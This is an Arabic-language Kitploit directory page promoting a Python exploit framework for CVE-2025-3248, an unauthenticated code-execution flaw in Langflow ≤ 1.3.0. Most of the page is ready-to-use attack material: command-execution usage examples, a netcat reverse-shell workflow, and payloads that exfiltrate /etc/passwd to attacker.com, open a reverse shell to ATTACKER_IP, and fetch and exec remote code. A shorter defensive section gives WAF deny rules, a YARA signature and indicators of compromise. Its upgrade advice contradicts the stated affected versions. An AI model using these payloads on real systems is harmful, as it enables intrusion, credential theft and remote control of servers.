Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-3248-exploit — إطار استغلال شامل بلغة بايثون لاختبار وإظهار CVE-2025-3248، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد غير مصادق عليها في إصدارات Langflow ≤ 1.3.0. | Kitploit
أدوات/GitHubGitHub/drackyjr/cve-2025-3248-exploit
ماسحات الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبجمع المعلوماتما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمرتطوير الحمولات
39منذ 10 أشهرلم تتم المراجعة بعد
GitHub
drackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

إطار استغلال شامل بلغة بايثون لاختبار وإظهار CVE-2025-3248، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد غير مصادق عليها في إصدارات Langflow ≤ 1.3.0.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-3248: ماسح ثغرة تنفيذ التعليمات البرمجية عن بعد (RCE) غير المصادق عليها في Langflow

License Python Status CVSS EPSS

إطار استغلال شامل بلغة Python لاختبار وإظهار CVE-2025-3248، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بعد (RCE) غير المصادق عليها في إصدارات Langflow ≤ 1.3.0.


🔴 نظرة عامة على الثغرة

CVE-2025-3248: حقن كود Langflow وتنفيذ الأوامر (RCE)

الخاصيةالقيمة
معرف CVECVE-2025-3248
المنتجLangflow
الإصدارات المتأثرة≤ 1.3.0
نوع الثغرةتنفيذ تعليمات برمجية عن بعد (RCE) غير مصادق عليه
ناقل الهجومالشبكة
المصادقة المطلوبةلا شيء
درجة CVSS9.8 (حرجة)
درجة EPSS92.57%
CWECWE-94 (التحكم غير السليم في توليد الكود)
النقطة الطرفية المعرضة/api/v1/validate/code

السبب الجذري

توجد الثغرة في نقطة API النهائية /api/v1/validate/code، التي تقبل كود بايثون عشوائي وتتحقق منه باستخدام دالة exec() غير الآمنة في بايثون دون تعقيم مدخلات أو وضع قيود صارمة. تستغل الثغرة سلوك بايثون حيث:

  1. يتم تقييم الزخارف (Decorators) فورًا أثناء تعريف الدالة
  2. يتم تنفيذ قيم الوسائط الافتراضية أثناء تحليل شجرة التركيب المجردة (AST)
  3. لا يوجد تحقق من صحة المدخلات لمنع تنفيذ الكود الخبيث

سلسلة الهجوم

المهاجم → POST /api/v1/validate/code → exec() في بايثون → RCE
     ↓
   لا حاجة للمصادقة
     ↓
   كود بايثون عشوائي
     ↓
   تنفيذ أمر النظام

✨ الميزات

  • ✅ اكتشاف النقاط الطرفية: يحدد تلقائيًا حالات Langflow المعرضة
  • ✅ اختبار متعدد المراحل: 4 اختبارات تدريجية للثغرات
  • ✅ تنفيذ الأوامر: تنفيذ أوامر النظام التعسفية على الهدف
  • ✅ استخراج البيئة: استرجاع متغيرات البيئة والإعدادات
  • ✅ عمليات الملفات: اختبار قدرات القراءة والكتابة للملفات
  • ✅ دعم الشل العكسي: إنشاء جلسات شل عكسية تفاعلية
  • ✅ كشف الإصدار: تحديد معلومات إصدار Langflow
  • ✅ إخراج ملون: تحسين قابلية القراءة بألوان الطرفية
  • ✅ إدارة المهلات: مهلات طلب قابلة للتكوين
  • ✅ تجاوز SSL/TLS: دعم الشهادات الموقعة ذاتيًا

📦 المتطلبات

Python >= 3.7
requests >= 2.25.0

تثبيت التبعيات

pip install requests

اختياري (لسجل أفضل)

pip install colorama  # For Windows color support

🚀 التثبيت

الطريقة الأولى: استنساخ من GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 الاستخدام

الصيغة الأساسية

python3 cve_2025_3248_test.py -t <target_url> [options]

أمثلة البدء السريع

1. فحص الثغرة الأساسي

python3 cve_2025_3248_test.py -t http://target.com

2. تنفيذ أمر مخصص

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. تنفيذ أوامر متعددة

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. استغلال الشل العكسي (اختبارات مصرح بها فقط)

الخطوة 1: بدء مستمع netcat على جهازك

nc -lvnp 4444

الخطوة 2: تشغيل الأداة

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

مثال:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. فحص بمهلة مخصصة

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

وسائط سطر الأوامر

وسائط موضعية:
  لا شيء

وسائط اختيارية:
  -t, --target TARGET       عنوان URL للهدف (مثل http://target.com) [مطلوب]
  -c, --command COMMAND     الأمر المراد تنفيذه (الافتراضي: id)
  --timeout TIMEOUT         مهلة الطلب بالثواني (الافتراضي: 10)
  --exploit                 تفعيل وضع الاستغلال (الشل العكسي)
  --lhost LHOST            عنوان IP الخاص بك للشل العكسي
  --lport LPORT            المنفذ الخاص بك للشل العكسي
  -h, --help               عرض رسالة المساعدة هذه

💾 أشكال الحمولات

1. التنفيذ القائم على الزخرفة

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. تنفيذ الوسيطة الافتراضية

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. تسريب البيانات

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. الشل العكسي (سطر واحد)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. عمليات قراءة الملفات

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. تعداد متغيرات البيئة

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. تحميل وتنفيذ

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 الكشف والتخفيف

للمدافعين

إجراءات فورية

  1. ترقية Langflow

    pip install langflow>=1.3.0
    # or
    docker pull langflow:latest
    
  2. تقييد الوصول إلى الشبكة

    # Nginx reverse proxy - حظر النقطة الطرفية المعرضة
    location /api/v1/validate/code {
        deny all;
    }
    
  3. تطبيق المصادقة

    # إضافة وسيط مصادقة
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

قواعد جدار الحماية لتطبيقات الويب (WAF)

قاعدة ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

قواعد الكشف

توقيع YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

المراقبة والتسجيل

# مراقبة الطلبات المشبوهة
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# تنبيه عند طلبات POST إلى النقطة الطرفية المعرضة
auditctl -w /var/lib/langflow -p wa -k langflow_changes

مؤشرات الاختراق (IoCs)

  • طلبات POST غير عادية إلى /api/v1/validate/code
  • عمليات مأخوذة من Langflow بأسماء مشبوهة
  • اتصالات صادرة غير متوقعة من خادم Langflow
  • ملفات تم إنشاؤها بأوقات غير عادية في /tmp
  • تنفيذ عمليات فرعية لبايثون من عملية Langflow
  • فشل في المصادقة يتبعه طلبات API
  • ارتفاع في استخدام CPU/الذاكرة من حاوية Langflow

🔬 التحليل الفني

كيف تعمل الثغرة

سلسلة الثغرة تعمل كما يلي:

# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Server processes it:
exec(code)  # ← Dangerous! No sanitization

# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')

# Result: Arbitrary command execution

لماذا تعمل الزخارف

سلوك بايثون مع الزخارف أثناء تعريف الدالة:

تنزيل الأداة